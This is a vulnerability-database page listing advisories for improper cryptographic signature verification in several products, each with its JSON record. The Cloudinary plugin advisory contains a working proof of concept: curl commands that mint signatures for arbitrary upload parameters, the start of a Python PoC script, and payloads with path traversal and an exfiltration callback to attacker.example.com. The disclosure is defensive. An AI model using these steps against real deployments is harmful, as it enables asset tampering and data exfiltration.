Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1121 vulnerabilities reference this CWE, most recent first.

GHSA-GXVP-97VX-C6VX

Vulnerability from github – Published: 2025-11-10 15:31 – Updated: 2025-11-10 15:31
VLAI
Details

In JetBrains ReSharper before 2025.2.4 missing signature verification in DPA Collector allows local privilege escalation

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-64456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-10T14:15:43Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains ReSharper before 2025.2.4 missing signature verification in DPA Collector allows local privilege escalation",
  "id": "GHSA-gxvp-97vx-c6vx",
  "modified": "2025-11-10T15:31:04Z",
  "published": "2025-11-10T15:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64456"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H33Q-QGGG-PQMJ

Vulnerability from github – Published: 2024-06-13 21:30 – Updated: 2024-07-16 15:30
VLAI
Details

There is a possible escalation of privilege due to improperly used crypto. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-32911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327",
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T21:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "There is a possible escalation of privilege due to improperly used crypto. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-h33q-qggg-pqmj",
  "modified": "2024-07-16T15:30:44Z",
  "published": "2024-06-13T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32911"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2024-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H43V-27WG-5MF9

Vulnerability from github – Published: 2026-04-07 18:14 – Updated: 2026-04-24 21:04
VLAI
Summary
OpenClaw: Forged Nostr DMs could create pairing state before signature verification
Details

Summary

Before OpenClaw 2026.3.31, the Nostr DM ingress path could issue pairing challenges before validating the event signature. A forged DM could create a pending pairing entry and trigger a pairing-reply attempt before signature rejection.

Impact

An unauthenticated remote sender could consume shared pairing capacity and trigger bounded relay/logging work on the Nostr channel. This issue did not grant message decryption, pairing approval, or broader authorization bypass.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: >= 2026.3.22, < 2026.3.31
  • Patched versions: >= 2026.3.31
  • Latest published npm version: 2026.4.1

Fix Commit(s)

  • 4ee742174f36b5445703e3b1ef2fbd6ae6700fa4 — verify inbound DM signatures before pairing replies

Release Process Note

The fix shipped in OpenClaw 2026.3.31 on March 31, 2026. The current published npm release 2026.4.1 from April 1, 2026 also contains the fix.

Thanks @smaeljaish771 for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.3.22"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:14:39Z",
    "nvd_published_at": "2026-04-21T00:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore OpenClaw 2026.3.31, the Nostr DM ingress path could issue pairing challenges before validating the event signature. A forged DM could create a pending pairing entry and trigger a pairing-reply attempt before signature rejection.\n\n## Impact\n\nAn unauthenticated remote sender could consume shared pairing capacity and trigger bounded relay/logging work on the Nostr channel. This issue did not grant message decryption, pairing approval, or broader authorization bypass.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003e= 2026.3.22, \u003c 2026.3.31`\n- Patched versions: `\u003e= 2026.3.31`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `4ee742174f36b5445703e3b1ef2fbd6ae6700fa4` \u2014 verify inbound DM signatures before pairing replies\n\n## Release Process Note\n\nThe fix shipped in OpenClaw `2026.3.31` on March 31, 2026. The current published npm release `2026.4.1` from April 1, 2026 also contains the fix.\n\nThanks @smaeljaish771 for reporting.",
  "id": "GHSA-h43v-27wg-5mf9",
  "modified": "2026-04-24T21:04:46Z",
  "published": "2026-04-07T18:14:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h43v-27wg-5mf9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41301"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4ee742174f36b5445703e3b1ef2fbd6ae6700fa4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-forged-nostr-dm-pairing-state-creation-via-signature-verification-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Forged Nostr DMs could create pairing state before signature verification"
}

GHSA-H45P-W933-JXH3

Vulnerability from github – Published: 2021-06-01 21:20 – Updated: 2021-06-01 18:59
VLAI
Summary
Improper Verification of Cryptographic Signature in aws-encryption-sdk-javascript
Details

Impact

This advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages.

This ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages.

For customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.

Finally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.

Patches

Fixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.

Customers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x

Users processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x

Workarounds

None

For more information

https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs

https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-01T18:59:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThis advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. \n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. \n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK\u2019s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n",
  "id": "GHSA-h45p-w933-jxh3",
  "modified": "2021-06-01T18:59:14Z",
  "published": "2021-06-01T21:20:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-encryption-sdk-javascript/security/advisories/GHSA-h45p-w933-jxh3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-javascript "
}

GHSA-H4CJ-XCG8-FCX7

Vulnerability from github – Published: 2025-04-10 15:31 – Updated: 2025-04-10 15:31
VLAI
Details

MSI Center before 2.0.52.0 has Missing PE Signature Validation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-27813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-10T13:15:51Z",
    "severity": "HIGH"
  },
  "details": "MSI Center before 2.0.52.0 has Missing PE Signature Validation.",
  "id": "GHSA-h4cj-xcg8-fcx7",
  "modified": "2025-04-10T15:31:48Z",
  "published": "2025-04-10T15:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27813"
    },
    {
      "type": "WEB",
      "url": "https://csr.msi.com/global/product-security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H4CV-5VW8-2P6M

Vulnerability from github – Published: 2026-07-03 00:31 – Updated: 2026-07-03 00:31
VLAI
Details

Libreswan, via the function RSA_authenticate_hash_signature_pkcs1_1_5_rsa(), did not correctly verify the DER encoding of the ASN.1 digest when the IKEv2 AUTH payload was encoded using RSASSA-PKCS1-v1_5 (RFC 8017). A remote attacker can use a variation on the Bleichenbacher attack to forge the AUTH payload when small public exponents are used (e.g., e=3), leading to impersonation. Additionally, a remote attacker, by encoding a shorter than expected hash in the AUTH payload, could trigger an assertion leading to denial-of-service. The daemon aborts and restarts; continued exploitation causes sustained denial of service. Remote code execution is not possible. X.509 certificate verifications of the remote IKE peer are not affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-50722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "Libreswan, via the function RSA_authenticate_hash_signature_pkcs1_1_5_rsa(), did not correctly verify the DER encoding of the ASN.1 digest when the IKEv2 AUTH payload was encoded using RSASSA-PKCS1-v1_5 (RFC 8017). A remote attacker can use a variation on the Bleichenbacher attack to forge the AUTH payload when small public exponents are used (e.g., e=3), leading to impersonation. Additionally, a remote attacker, by encoding a shorter than expected hash in the AUTH payload, could trigger an assertion leading to denial-of-service. The daemon aborts and restarts; continued exploitation causes sustained denial of service. Remote code execution is not possible. X.509 certificate verifications of the remote IKE peer are not affected.",
  "id": "GHSA-h4cv-5vw8-2p6m",
  "modified": "2026-07-03T00:31:53Z",
  "published": "2026-07-03T00:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50722"
    },
    {
      "type": "WEB",
      "url": "https://libreswan.org/security/CVE-2026-50721/CVE-2026-50721.txt"
    },
    {
      "type": "WEB",
      "url": "https://libreswan.org/security/CVE-2026-50722"
    },
    {
      "type": "WEB",
      "url": "https://libreswan.org/security/CVE-2026-50722/CVE-2026-50722.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc8017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H5HF-5WCJ-6HMF

Vulnerability from github – Published: 2023-10-27 06:31 – Updated: 2025-03-06 18:30
VLAI
Details

VMware Tools contains a SAML token signature bypass vulnerability. A malicious actor that has been granted Guest Operation Privileges https://docs.vmware.com/en/VMware-vSphere/8.0/vsphere-security/GUID-6A952214-0E5E-4CCF-9D2A-90948FF643EC.html  in a target virtual machine may be able to elevate their privileges if that target virtual machine has been assigned a more privileged Guest Alias https://vdc-download.vmware.com/vmwb-repository/dcr-public/d1902b0e-d479-46bf-8ac9-cee0e31e8ec0/07ce8dbd-db48-4261-9b8f-c6d3ad8ba472/vim.vm.guest.AliasManager.html .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-34058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-27T05:15:38Z",
    "severity": "HIGH"
  },
  "details": "VMware Tools contains a SAML token signature bypass vulnerability.\u00a0A malicious actor that has been granted  Guest Operation Privileges https://docs.vmware.com/en/VMware-vSphere/8.0/vsphere-security/GUID-6A952214-0E5E-4CCF-9D2A-90948FF643EC.html \u00a0in a target virtual machine may be able to elevate their privileges if that target virtual machine has been assigned a more privileged  Guest Alias https://vdc-download.vmware.com/vmwb-repository/dcr-public/d1902b0e-d479-46bf-8ac9-cee0e31e8ec0/07ce8dbd-db48-4261-9b8f-c6d3ad8ba472/vim.vm.guest.AliasManager.html .",
  "id": "GHSA-h5hf-5wcj-6hmf",
  "modified": "2025-03-06T18:30:57Z",
  "published": "2023-10-27T06:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34058"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/G7G77Z76CQPGUF7VHRA6O3UFCMPPR4O2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQUOFQL2SNNNMKROQ3TZQY4HEYMNOIBW"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WLTKVTRKQW2GD2274H3UOW6XU4E62GSK"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5543"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2023-0024.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/10/27/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H5W3-MRCG-5P55

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

Acrobat Reader DC for macOS versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) are affected by a security feature bypass. While the practical security impact is minimal, a defense-in-depth fix has been implemented to further harden the Adobe Reader update process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-24439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-05T20:15:00Z",
    "severity": "LOW"
  },
  "details": "Acrobat Reader DC for macOS versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) are affected by a security feature bypass. While the practical security impact is minimal, a defense-in-depth fix has been implemented to further harden the Adobe Reader update process.",
  "id": "GHSA-h5w3-mrcg-5p55",
  "modified": "2022-05-24T17:33:14Z",
  "published": "2022-05-24T17:33:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24439"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb20-67.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H5WC-FG2J-Q78W

Vulnerability from github – Published: 2022-05-17 02:35 – Updated: 2022-05-17 02:35
VLAI
Details

Signature Wrapping exists in OSCI-Transport 1.2 as used in OSCI Transport Library 1.6.1 (Java) and OSCI Transport Library 1.6 (.NET). An attacker with access to unencrypted OSCI protocol messages must send crafted protocol messages with duplicate IDs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-10669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-30T12:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Signature Wrapping exists in OSCI-Transport 1.2 as used in OSCI Transport Library 1.6.1 (Java) and OSCI Transport Library 1.6 (.NET). An attacker with access to unencrypted OSCI protocol messages must send crafted protocol messages with duplicate IDs.",
  "id": "GHSA-h5wc-fg2j-q78w",
  "modified": "2022-05-17T02:35:51Z",
  "published": "2022-05-17T02:35:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10669"
    },
    {
      "type": "WEB",
      "url": "http://blog.sec-consult.com/2017/06/german-e-government-details-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Jun/44"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H5X8-XP6M-X6Q4

Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10
VLAI
Summary
@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Details

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin

Summary

@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.

Details

When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.

Vulnerable code path (step by step):

  1. cloudinary/src/index.ts:58initClientUploads registers the server upload handler.
  2. cloudinary/src/index.ts:68 — The Cloudinary API key is exposed to client handler props by design.
  3. cloudinary/src/index.ts:74-79 — The signing endpoint is mounted at /cloudinary-generate-signature.
  4. cloudinary/src/getGenerateSignature.ts:18 — The default access control checks only !!req.user, permitting any authenticated user.
  5. cloudinary/src/getGenerateSignature.ts:46 — The entire request body is parsed: const body = await req.json?.().
  6. cloudinary/src/getGenerateSignature.ts:55Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()

if (!body?.paramsToSign) {
  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}

// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

There are no mitigations in place: - No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.) - No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature) - No timestamp freshness check - No restriction on path traversal sequences in folder or public_id

Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:

Case paramsToSign Impact
CASE-2 folder=attacker-controlled, overwrite=true Overwrite any existing asset
CASE-3 type=private, public_id=admin-document Change asset visibility / bypass access control
CASE-4 notification_url=http://attacker.example.com/exfil SSRF / data exfiltration via Cloudinary webhook
CASE-5 folder=../../../../admin-assets, invalidate=true Path traversal + CDN cache invalidation

Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.

PoC

Prerequisites: - @jhb.software/payload-cloudinary-plugin@0.3.4 deployed with clientUploads: true - An authenticated Payload session (any privilege level) - Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)

Step 1 — Obtain a signature for arbitrary parameters (bash):

TS=$(date +%s)

SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained signature: $SIG"

Step 2 — Use the minted signature to upload directly to Cloudinary:

curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \
  -F "file=@poc.txt" \
  -F "api_key=$CLOUDINARY_API_KEY" \
  -F "timestamp=$TS" \
  -F "folder=attacker" \
  -F "public_id=overwrite-target" \
  -F "overwrite=true" \
  -F "signature=$SIG"

Expected result: Cloudinary returns a successful upload JSON for attacker/overwrite-target — an asset path the plugin never intended to authorize.

Automated PoC (Python):

# Build and run the reproduction container
docker build -t vuln-002-cloudinary .
docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary

# Run all five attack scenarios
python3 poc.py --server http://127.0.0.1:3000

The script (poc.py) posts five distinct paramsToSign payloads and independently verifies each returned signature using hashlib.sha1. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.

Sample output (Phase 2 evidence):

[SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"}
      => abc45ef5f0807bdef153074d2be3e713ea867168  (HTTP 200)

[SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"}
      => 0d8102a5ff48953832b76a1f21d1c513af5940e1  (HTTP 200)

[SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"}
      => 72d954c67bd4a38d6a3931c64511f84143d24685  (HTTP 200)

[SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"}
      => d44984e7af8fca306e59e00810c2623d8963e011  (HTTP 200)

Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign

Recommended fix:

--- a/cloudinary/src/getGenerateSignature.ts
+++ b/cloudinary/src/getGenerateSignature.ts
@@ type Args = {
   apiSecret: string
+  folder?: string
 }
@@ export const getGenerateSignature =
-  ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =>
+  ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =>
@@
-    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
+    const paramsToSign = body.paramsToSign as Record<string, unknown>
+    const allowedKeys = new Set(['timestamp', 'folder', 'public_id'])
+    if (
+      !paramsToSign ||
+      Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) ||
+      typeof paramsToSign.timestamp !== 'string'
+    ) {
+      throw new Forbidden()
+    }
+    if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) {
+      throw new Forbidden()
+    }
+    if (
+      typeof paramsToSign.public_id === 'string' &&
+      (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/'))
+    ) {
+      throw new Forbidden()
+    }
+    const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)

Impact

This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because paramsToSign is never validated, it acts as an unrestricted signature oracle for any authenticated user.

Who is impacted: All deployments of @jhb.software/payload-cloudinary-plugin that set clientUploads: true. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).

Concrete attack outcomes:

  • Asset overwrite (overwrite=true): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.
  • Access-control bypass (type=private): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.
  • SSRF / data exfiltration (notification_url): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.
  • Path traversal (folder=../../../../..., invalidate=true): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.

The Cloudinary API key is exposed to the client by the plugin itself (index.ts:68), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.

Reproduction artifacts

Dockerfile

FROM node:22-alpine

LABEL description="VULN-002 reproduction: arbitrary Cloudinary API parameter signing" \
      vuln="getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist" \
      package="@jhb.software/payload-cloudinary-plugin@0.3.4"

WORKDIR /app

# Install exactly the cloudinary version declared in the plugin's package.json
RUN echo '{"name":"vuln-002-server","version":"1.0.0","private":true}' > package.json && \
    npm install cloudinary@2.10.0 --save --no-audit --no-fund

COPY server.js .

EXPOSE 3000

# Start the minimal reproduction server
CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-002: Arbitrary Cloudinary API Parameter Signing
Package : @jhb.software/payload-cloudinary-plugin v0.3.4
File    : cloudinary/src/getGenerateSignature.ts:55
CWE     : CWE-347 — Improper Verification of Cryptographic Signature
CVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Vulnerable sink (exact line from source):
    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

body.paramsToSign is passed directly with no allowlist, no key filtering, and no
folder/public_id/overwrite enforcement. Any authenticated user can obtain a valid
Cloudinary HMAC-SHA1 signature for arbitrary upload parameters.

Usage:
    python3 poc.py [--server http://127.0.0.1:3000]
"""

import argparse
import hashlib
import json
import sys
import time
import urllib.error
import urllib.request

# Must match API_SECRET in server.js
API_SECRET = "poc-fake-api-secret-12345"

# Simulates a low-privilege authenticated user session
AUTH_HEADER = "Bearer low-privilege-user-token"

GREEN = "\033[32m"
RED = "\033[31m"
YELLOW = "\033[33m"
RESET = "\033[0m"


# ---------------------------------------------------------------------------
# Cloudinary signature algorithm — Python re-implementation of
#   cloudinary.utils.api_sign_request(params, api_secret)
# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )
# ---------------------------------------------------------------------------
def cloudinary_sign(params: dict, api_secret: str) -> str:
